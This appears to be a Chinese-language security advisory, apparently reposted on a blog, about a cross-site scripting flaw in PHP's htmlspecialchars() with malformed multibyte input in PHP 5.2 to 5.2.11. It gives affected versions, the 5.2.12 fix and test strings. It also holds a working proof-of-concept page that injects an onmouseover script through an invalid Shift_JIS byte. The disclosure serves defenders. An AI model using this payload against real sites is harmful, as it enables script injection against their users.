PHP ‘htmlspecialcharacters()’畸形多字节字符跨站脚本漏洞

漏洞起因
输入验证错误
 
影响系统
PHP PHP 5.2.11
PHP PHP 5.2.10
PHP PHP 5.2.9
PHP PHP 5.2.8
PHP PHP 5.2.7
PHP PHP 5.2.6
PHP PHP 5.2.5
PHP PHP 5.2.4
PHP PHP 5.2.3
PHP PHP 5.2.2
PHP PHP 5.2.1
PHP PHP 5.2
 
不受影响系统
PHP PHP 5.2.12
 
危害
远程攻击者可以利用漏洞获得敏感信息。
 
攻击所需条件
攻击者必须构建恶意WEB页,诱使用户解析。
 
漏洞信息
PHP是一款流行的网络编程语言。
htmlspecialchars()函数不严格检查多字节序列,远程攻击者可以利用漏洞进行跨站脚本攻击。
 
测试方法
// overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&",     ENT_QUOTES, ‘UTF-8’);
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&",         ENT_QUOTES, ‘Shift_JIS’);
echo htmlspecialchars("C\x81\x7f&",     ENT_QUOTES, ‘Shift_JIS’);
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&",         ENT_QUOTES, ‘EUC-JP’);
echo htmlspecialchars("E\xA1\xFF&",     ENT_QUOTES, ‘EUC-JP’);
echo htmlspecialchars("F\x8E\xFF&",     ENT_QUOTES, ‘EUC-JP’);
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, ‘EUC-JP’);
—————————————————————–
<?php
$_GET[‘a1’] = "\xf0"; // \xf0 – \xfc で可能
$_GET[‘a2’] = " href=dummy onmouseover=alert(document.title) dummy=dummy";
header( "Content-Type:text/html; charset=Shift_JIS" );
?>
<html>
<head><title>Shift_JIS test</title></head>
<body>
<p><a title="<?php echo htmlspecialchars( $_GET[‘a1’], ENT_QUOTES, ‘SJIS’ ) ?>" href="<?php echo htmlspecialchars( $_GET[‘a2’], ENT_QUOTES, ‘SJIS’ ) ?>">test</a></p>
</body>
</html>
 
厂商解决方案
PHP 5.2.12已经修复此漏洞,建议用户下载使用:
http://www.php.net/releases/5_2_12.php
 
漏洞提供者
hello at iwamot dot com

发表评论?

0 条评论。

发表评论